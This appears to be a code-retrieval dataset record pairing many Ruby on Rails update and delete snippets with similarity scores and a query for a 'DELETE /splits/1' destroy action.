"def update!(**args)\n @index_of_sub_tree_with_splitting_feature = args[:index_of_sub_tree_with_splitting_feature] if args.key?(:index_of_sub_tree_with_splitting_feature)\n @index_of_sub_tree_without_splitting_feature = args[:index_of_sub_tree_without_splitting_feature] if args.key?(:index_of_sub_tree_without_splitting_feature)\n @parent = args[:parent] if args.key?(:parent)\n @path_from_root = args[:path_from_root] if args.key?(:path_from_root)\n @pattern_id = args[:pattern_id] if args.key?(:pattern_id)\n @payload = args[:payload] if args.key?(:payload)\n @splitting_feature = args[:splitting_feature] if args.key?(:splitting_feature)\n @splitting_feature_score = args[:splitting_feature_score] if args.key?(:splitting_feature_score)\n end",
"def update\n respond_to do |format|\n if @singlepart.update(singlepart_params)\n format.html { redirect_to @singlepart, notice: 'Singlepart was successfully updated.' }\n format.json { render :show, status: :ok, location: @singlepart }\n else\n format.html { render :edit }\n format.json { render json: @singlepart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @bucket.update(bucket_params)\n format.html { redirect_to buckets_path, notice: 'Bucket was successfully updated.' }\n format.json { render :show, status: :ok, location: @pin }\n else\n format.html { render :edit, status: :unprocessable_entity}\n format.json { render json: @bucket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @batch = Batch.find(params[:id])\n\n respond_to do |format|\n if @batch.update_attributes(params[:batch])\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { respond_with_bip(@batch) }\n else\n format.html { redirect_to @batch }\n format.json { respond_with_bip(@batch) }\n end\n end\n end",
"def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_cell_leader = StudentCellLeader.find(params[:id])\n\n respond_to do |format|\n if @student_cell_leader.update_attributes(params[:student_cell_leader])\n format.html { redirect_to @student_cell_leader, notice: 'Student cell leader was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_cell_leader.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bucket_bloc.update(bucket_bloc_params)\n format.html { redirect_to @bucket_bloc, notice: 'Bucket bloc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bucket_bloc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_rack = LabRack.find(params[:id])\n\n respond_to do |format|\n if @lab_rack.update_attributes(params[:lab_rack])\n format.html { redirect_to(@lab_rack, :notice => 'Lab rack was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lab_rack.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @use_case = UseCase.find(params[:id])\n @use_case.data = params[:data].to_json\n\n respond_to do |format|\n if @use_case.update_attributes(params[:use_case])\n\n if params[:subaction]==\"step\"\n format.html { redirect_to requirements_project_use_case_path(@use_case.project, @use_case, :type=>\"step\"), notice: 'Use case was successfully updated.' }\n else\n format.html { redirect_to project_use_case_path(@project, @use_case), notice: 'Use case was successfully updated.' }\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @use_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_clone\n response = self.class.put(\"/service/#{$service_id}/version/#{$service_version}/clone\", { \n headers: {\"Fastly-Key\" => $key} \n })\n end",
"def update\n @part = Part.find(params[:id])\n\n respond_to do |format|\n if @part.update_attributes(params[:part])\n format.html { redirect_to @part, :notice => 'Part was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @part.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @batch = Batch.find(params[:id])\n\n respond_to do |format|\n if @batch.update_attributes(params[:batch])\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def patch(path, **args); end",
"def update\n @spawner = Spawner.find(params[:id])\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n if @spawner.update_attributes(spawner_params)\n format.html { redirect_to @spawner, notice: 'Spawner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spawner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n if @batch.update(batch_params)\n render json: @batch, status: :ok\n else\n render json: @batch.errors, status: :unprocessable_entity\n end\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n put :update\n end",
"def update\n @part = Part.find(params[:id])\n\n respond_to do |format|\n if @part.update_attributes(params[:part])\n format.html { redirect_to @part, notice: 'Part was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lot = Lot.find(params[:id])\n\n respond_to do |format|\n if @lot.update_attributes(params[:lot])\n format.html { redirect_to myadmin_lots_path, :notice => 'Lot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lot.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @batch.update_attributes(params[:batch])\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stable = Stable.find(params[:id])\n\n respond_to do |format|\n if @stable.update_attributes(params[:stable])\n format.html { redirect_to @stable, notice: 'Stable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n plan = Plan.find_by_id!(params.fetch(:id))\n benchmark_action_ids =\n JSON.parse(plan_update_params.fetch(:benchmark_action_ids))\n name = plan_update_params.fetch(:name)\n plan.update!(name: name, benchmark_action_ids: benchmark_action_ids)\n redirect_to plans_path\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def update\n begin\n @job_request = job_requests.find( params[ :id ] )\n rescue ActiveRecord::RecordNotFound\n @job_request = nil\n end\n\n respond_to do |format|\n if @job_request && @job_request.update_attributes( params[ :job_request ] )\n format.html { redirect_to root_path, notice: \"Job Requests Updated Successfully\"}\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, notice: \"Update Failed\" }\n format.json { render json: @job_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n if @climb.update_attributes(params[:climb])\n format.html { redirect_to @climb, notice: 'Climb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @climb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n if can?(:>=, \"3\")\n @cup_count = params[:cup_count].to_boolean\n @part = Kitting::Part.find(params[:id])\n if @part.name.blank? || @part.prime_pn.blank?\n get_part_name_rbo = get_part_numbers current_user, params[:part][:part_number].try(:upcase)\n @get_part_name = get_part_name_rbo['partName'] || \"\"\n @part.update_attribute(:name, @get_part_name)\n @part.update_attribute(:prime_pn, get_part_name_rbo[\"primePNList\"].reject(&:blank?).first)\n end\n\n respond_to do |format|\n if @part.update_attributes(params[:part])\n format.html { redirect_to(@part,:notice => \"Part #{@part.part_number} is updated successfully.\") }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @part.errors,\n :status => :unprocessable_entity }\n end\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
"def update_feature_request(folder_id, feature_content, file_name)\n url = URI(\"#{$base_url}/api/projects/#{$project_id}/folders/#{folder_id}/update_from_feature\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Patch.new(url)\n request[\"accept\"] = 'application/vnd.api+json; version=1'\n request[\"access-token\"] = $access_token\n request[\"uid\"] = $uid\n request[\"client\"] = $client\n request[\"Content-Type\"] = 'application/json'\n\n data = {\n data: {\n attributes: {\n \"feature\": feature_content\n }\n }\n }\n\n request.body = JSON.generate(data)\n response = http.request(request)\n\n if response.code == 200.to_s\n update_response = JSON.parse(response.read_body)['data']\n puts \"Feature '#{update_response['attributes']['name']}' with '#{update_response['attributes']['scenarios-count']} scenario(s)' updated.\"\n $success_uploaded_count = $success_uploaded_count + 1\n $uploaded_features_list.push(file_name)\n $updated_count = $updated_count + 1\n else\n $fail_uploaded_count = $fail_uploaded_count + 1\n $not_uploaded_features_list.push(file_name)\n end\n\n response.code\nend",
"def put(obj, which=:groups)\n path = \"/#{which}\"\n path += \"/#{obj['ID']}\" unless obj['ID'].nil? \n resp = self.class.post(path, { :body => obj })\n check_errors resp\n res = resp.parsed_response['Response']['Entry']\n rebuild_groups! res\n res\n end",
"def update\n batch = Batch.where(\"reference_batch = ?\", params[:reference_batch])\n if params[:action_batch] == \"Close\"\n # Find all orders for this batch id\n orders = Order.where(\"batch_id = ?\", batch[0].id)\n # Update status of orders to closing\n orders.update(status: Order.statuses['closing'])\n render json: {status: 'SUCCESS', message: 'Orders closed for batch', number_of_orders_in_batch: orders.size, data: batch}, status: :ok\n elsif params[:action_batch] == \"Send\"\n if params[:delivery_service]\n # Find all orders for this batch id and delivery service\n orders = Order.where(\"batch_id = ? AND delivery_service = ?\", batch[0].id, params[:delivery_service])\n # Update status of orders to sent\n orders.update(status: Order.statuses['sent'])\n render json: {status: 'SUCCESS', message: 'Orders sent for batch', delivery_service_sent: params[:delivery_service], number_of_orders_in_sent: orders.size, data: batch}, status: :ok\n else\n render json: {status: 'ERROR', message: 'Please provide a delivery service!!'}\n end\n else\n render json: {status: 'ERROR', message: 'I do not know this action!!'}\n end\n end",
"def update!(**args)\n @deployed_model_id = args[:deployed_model_id] if args.key?(:deployed_model_id)\n @traffic_split = args[:traffic_split] if args.key?(:traffic_split)\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @bid = @swarm_request.bids.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to(swarm_request_bid_url(:id => @bid.to_param, :swarm_request_id => @swarm_request.to_param), :notice => 'Bid was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bid.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @migrations_lock.update(migrations_lock_params)\n format.html { redirect_to @migrations_lock, notice: 'Migrations lock was successfully updated.' }\n format.json { render :show, status: :ok, location: @migrations_lock }\n else\n format.html { render :edit }\n format.json { render json: @migrations_lock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(data, &block)\n request :patch, @data[:id], data, &block\n end",
"def update\n @operation = Operation.find(params[:id])\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n format.html { redirect_to user_model_path(@model.user,@model), notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @climb.update(climb_params)\n format.html { redirect_to @climb, notice: 'Climb was successfully updated.' }\n format.json { render :show, status: :ok, location: @climb }\n else\n format.html { render :edit }\n format.json { render json: @climb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bundlesticker = Bundlesticker.find(params[:id])\n\n respond_to do |format|\n if @bundlesticker.update_attributes(params[:bundlesticker])\n format.html { redirect_to @bundlesticker, notice: 'Bundlesticker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundlesticker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end",
"def update\n respond_to do |format|\n if @bones_segment.update(bones_segment_params)\n format.html { redirect_to @bones_segment, notice: 'Bones segment was successfully updated.' }\n format.json { render :show, status: :ok, location: @bones_segment }\n else\n format.html { render :edit }\n format.json { render json: @bones_segment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @latstraps1.update(latstraps1_params)\n format.html { redirect_to \"/latstraps1s\"}\n format.json { render :show, status: :ok, location: @latstraps1 }\n else\n format.html { render :edit }\n format.json { render json: @latstraps1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @batch.update(batch_params)\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @batch.update(batch_params)\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flat_stage.update(flat_stage_params)\n format.html { redirect_to @flat_stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @flat_stage }\n else\n format.html { render :edit }\n format.json { render json: @flat_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hdfs_path = HdfsPath.find(params[:id])\n\n respond_to do |format|\n if @hdfs_path.update_attributes(params[:hdfs_path])\n format.html { redirect_to @hdfs_path, notice: 'Hdfs path was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hdfs_path.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @leader = Leader.find(params[:id])\n\n respond_to do |format|\n if @leader.update_attributes(params[:leader])\n format.html { redirect_to @leader, notice: 'Leader was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @leader.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @super_bowl_pick = SuperBowlPick.find(params[:id])\n\n respond_to do |format|\n if @super_bowl_pick.update_attributes(params[:super_bowl_pick])\n format.html { redirect_to @super_bowl_pick, notice: 'Super bowl pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_bowl_pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n if @leaderboard.update_attributes(params[:leaderboard])\n format.html { redirect_to @leaderboard, notice: 'Leaderboard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @leaderboard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update2\n if params.has_key?(\"chef_value\")\n @chef_value.update(chef_value_params(params[\"chef_value\"]))\n else\n params[\"chef_values\"].each do |chef_value|\n if chef_value[\"value\"] != \"\"\n @chef_value.update(chef_value_params(chef_value))\n end\n end\n end\n respond_to do |format|\n if @chef_value.update(chef_value_params)\n format.html { redirect_to @chef_value, notice: 'Chef value was successfully updated.' }\n format.json { render :show, status: :ok, location: @chef_value }\n else\n format.html { render :edit }\n format.json { render json: @chef_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shard = Shard.find(params[:id])\n\n respond_to do |format|\n if @shard.update_attributes(params[:shard])\n format.html { redirect_to @shard, notice: 'Shard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @master_spec = Master::Spec.find(params[:id])\n\n respond_to do |format|\n if @master_spec.update_attributes(params[:master_spec])\n format.html { redirect_to(@master_spec, :notice => 'Spec was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @master_spec.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lob = Lob.find(params[:id])\n\n if @lob.update(lob_params)\n head :no_content\n else\n render json: @lob.errors, status: :unprocessable_entity\n end\n end",
"def update\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n if @fabric.update_attributes(params[:fabric])\n format.html { redirect_to @fabric, notice: 'Fabric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fabric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tool_part.update_attributes(params[:tool_part])\n format.html { redirect_to @tool_part, notice: I18n.t('controllers.update_success', name: @tool_part.class.model_name.human) }\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool_part.errors, status: :unprocessable_entity }\n format.xml { render xml: @tool_part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bucket = current_user.buckets.find(params[:id])\n respond_to do |format|\n if @bucket.update_attributes(params[:bucket])\n flash[:notice] = 'Bucket was successfully updated.'\n format.html { redirect_to(@bucket) }\n format.xml { head :ok }\n format.iphone { redirect_to(@bucket) }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bucket.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"edit\", :layout => false}\n end\n end\n end"
] |
[
"0.6155166",
"0.6092165",
"0.5983275",
"0.59644645",
"0.58819485",
"0.58766145",
"0.57270175",
"0.55355525",
"0.551988",
"0.5509019",
"0.54922634",
"0.5476285",
"0.54658496",
"0.54658496",
"0.54658496",
"0.54610956",
"0.54610956",
"0.54610956",
"0.54610956",
"0.5455925",
"0.5361222",
"0.5361073",
"0.5318298",
"0.53178453",
"0.53109866",
"0.53109705",
"0.52998066",
"0.52982813",
"0.52855355",
"0.52784836",
"0.5262412",
"0.52314574",
"0.5224156",
"0.5224156",
"0.52227986",
"0.5217041",
"0.5216637",
"0.52151006",
"0.51918346",
"0.5180664",
"0.5174024",
"0.5170819",
"0.51706606",
"0.51706433",
"0.51703495",
"0.51690465",
"0.5164664",
"0.51619124",
"0.516185",
"0.5152138",
"0.51508355",
"0.5145773",
"0.5131632",
"0.5127022",
"0.5126948",
"0.5122879",
"0.51206344",
"0.51206344",
"0.51190597",
"0.511456",
"0.51103073",
"0.51031065",
"0.5095516",
"0.50900775",
"0.508098",
"0.5076158",
"0.50749093",
"0.5069067",
"0.50640625",
"0.50628906",
"0.50626975",
"0.5056578",
"0.5055279",
"0.5047107",
"0.50411767",
"0.5037536",
"0.5035781",
"0.5035715",
"0.5030572",
"0.5027496",
"0.50215787",
"0.50142324",
"0.50137156",
"0.49971882",
"0.49899355",
"0.4988844",
"0.49888015",
"0.49888015",
"0.49851644",
"0.49809942",
"0.49807876",
"0.49783918",
"0.49770132",
"0.49750894",
"0.4972004",
"0.49714053",
"0.49689162",
"0.49671447",
"0.4961699",
"0.49602056"
] |
0.62421286
|
0
|
DELETE /splits/1 DELETE /splits/1.json
|
def destroy
@split.destroy
respond_to do |format|
format.html { redirect_to splits_url, notice: 'Split was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @split = Split.find(params[:id])\n @split.destroy\n\n respond_to do |format|\n format.html { redirect_to(splits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item_split.destroy\n respond_to do |format|\n format.html { redirect_to item_splits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_split.destroy\n respond_to do |format|\n format.html { redirect_to test_splits_url, notice: 'Test split was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_segment_batch(segment_id_array)\n payload = segment_id_array.to_s\n url = \"#{@base_url}/segments_batch\"\n return RestClient::Request.execute(:method => :delete, :url => url, :payload => payload){|response, request, result| response }\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end",
"def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @bones_segment.destroy\n respond_to do |format|\n format.html { redirect_to bones_segments_url, notice: 'Bones segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @pie_piece_transaction_split.destroy\n respond_to do |format|\n format.html { redirect_to pie_piece_transaction_splits_url, notice: 'Pie piece transaction split was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def delete_snapshot(snapshot_id)\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def destroy\n @subset.destroy\n respond_to do |format|\n format.html { redirect_to subsets_url }\n format.json { head :no_content }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @batch.destroy\n\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shard = Shard.find(params[:id])\n @shard.destroy\n\n respond_to do |format|\n format.html { redirect_to shards_url }\n format.json { head :no_content }\n end\n end",
"def delete(bucket, file); end",
"def destroy\n @batch.destroy\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @batch.destroy\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @splitwise.destroy\n respond_to do |format|\n if @splitwise.destroy\n format.html { redirect_to splitwises_url, notice: 'Splitwise was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n\n format.json { render json: @splitwise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def running_delete\n base_delete(params, \"Running\")\n end",
"def delete_cluster\n lb_authenticate = authenticate()\n lb_url = \"\"\n headers = {\"x-auth-token\" => lb_authenticate['auth_token'], \"content-type\" => \"application/json\"}\n lb_authenticate['lb_urls'].each {|lb|\n if config[:lb_region].to_s.downcase == lb['region'].to_s.downcase\n lb_url = lb['publicURL']\n break\n end\n lb_url = lb['publicURL']\n }\n @name_args.each {|arg|\n server_uuids = []\n lb_url = lb_url + \"/loadbalancers/#{arg}\"\n get_uuids = make_web_call(\"get\", lb_url, headers )\n if get_uuids.code == '404'\n ui.msg \"Make sure you specify the -r flag to specify what region the LB is located\"\n exit(1)\n end\n lb_data = JSON.parse(get_uuids.body)\n lb_data['loadBalancer']['metadata'].each{|meta|\n server_uuids << {'uuid' => meta['value'], 'server_name' => meta['key'] }\n }\n server_uuids.each { |uuid|\n rs_delete = RackspaceServerDelete.new\n rs_delete.config[:yes] = 'yes'\n rs_delete.name_args = [ uuid['uuid'] ]\n rs_delete.config[:purge] = true\n rs_delete.config[:chef_node_name] = uuid['server_name']\n rs_delete.run\n }\n delete_lb_call = make_web_call(\"delete\", lb_url, headers)\n puts \"Deleted loadbalancer id #{arg}\"\n \n \n }\n end",
"def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n @batch = Batch.find(params[:id])\n @batch.destroy\n\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n bin_url = @request.bin.url\n\n @request.destroy\n respond_to do |format|\n format.html do\n redirect_to \"/bins/#{bin_url}\",\n notice: 'Request was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete\n request(:delete)\n end",
"def delete(params = {})\n params ||= {}\n params[:path] = @attributes[:path]\n raise MissingParameterError.new(\"Current object doesn't have a path\") unless @attributes[:path]\n raise InvalidParameterError.new(\"Bad parameter: path must be an String\") if params[:path] and !params[:path].is_a?(String)\n raise InvalidParameterError.new(\"Bad parameter: token must be an String\") if params[:token] and !params[:token].is_a?(String)\n raise MissingParameterError.new(\"Parameter missing: path\") unless params[:path]\n raise MissingParameterError.new(\"Parameter missing: token\") unless params[:token]\n\n Api.send_request(\"/locks/#{@attributes[:path]}\", :delete, params, @options)\n end",
"def delete\n api_client.delete(url)\n end",
"def delete(id)\n connection.delete do |req|\n req.url \"job/#{id}\"\n end\n end",
